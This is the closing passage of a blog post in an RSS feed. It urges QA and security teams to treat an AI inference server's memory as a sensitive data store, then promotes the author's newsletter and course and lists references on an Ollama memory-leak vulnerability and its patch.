&lt;p&gt;If that server holds prompts, system prompts, tool outputs, credentials, and private data in memory, then memory is a sensitive data store.&lt;/p&gt;

&lt;p&gt;Test it like one.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I write about AI security incidents and what they mean for QA and security teams in my newsletter, &lt;a href="https://jfisher4002.substack.com" rel="noopener noreferrer"&gt;AI Leak Watch&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;If you work on QA or security for products that use LLMs, my course &lt;a href="https://www.udemy.com/course/ai-security-testing-finding-sensitive-data-leaks/?referralCode=B5F0F13A300DA673A5AF" rel="noopener noreferrer"&gt;AI Security Testing: Finding Sensitive Data Leaks (OWASP LLM-02)&lt;/a&gt; covers the testing methodology in depth.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.cyera.com/research/bleeding-llama-critical-unauthenticated-memory-leak-in-ollama" rel="noopener noreferrer"&gt;Cyera Research: Bleeding Llama&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2026-7482" rel="noopener noreferrer"&gt;NVD: CVE-2026-7482&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ollama/ollama/releases/tag/v0.17.1" rel="noopener noreferrer"&gt;Ollama 0.17.1 release&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ollama/ollama/commit/88d57d0483cca907e0b23a968c83627a20b21047" rel="noopener noreferrer"&gt;Ollama patch commit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>testing</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
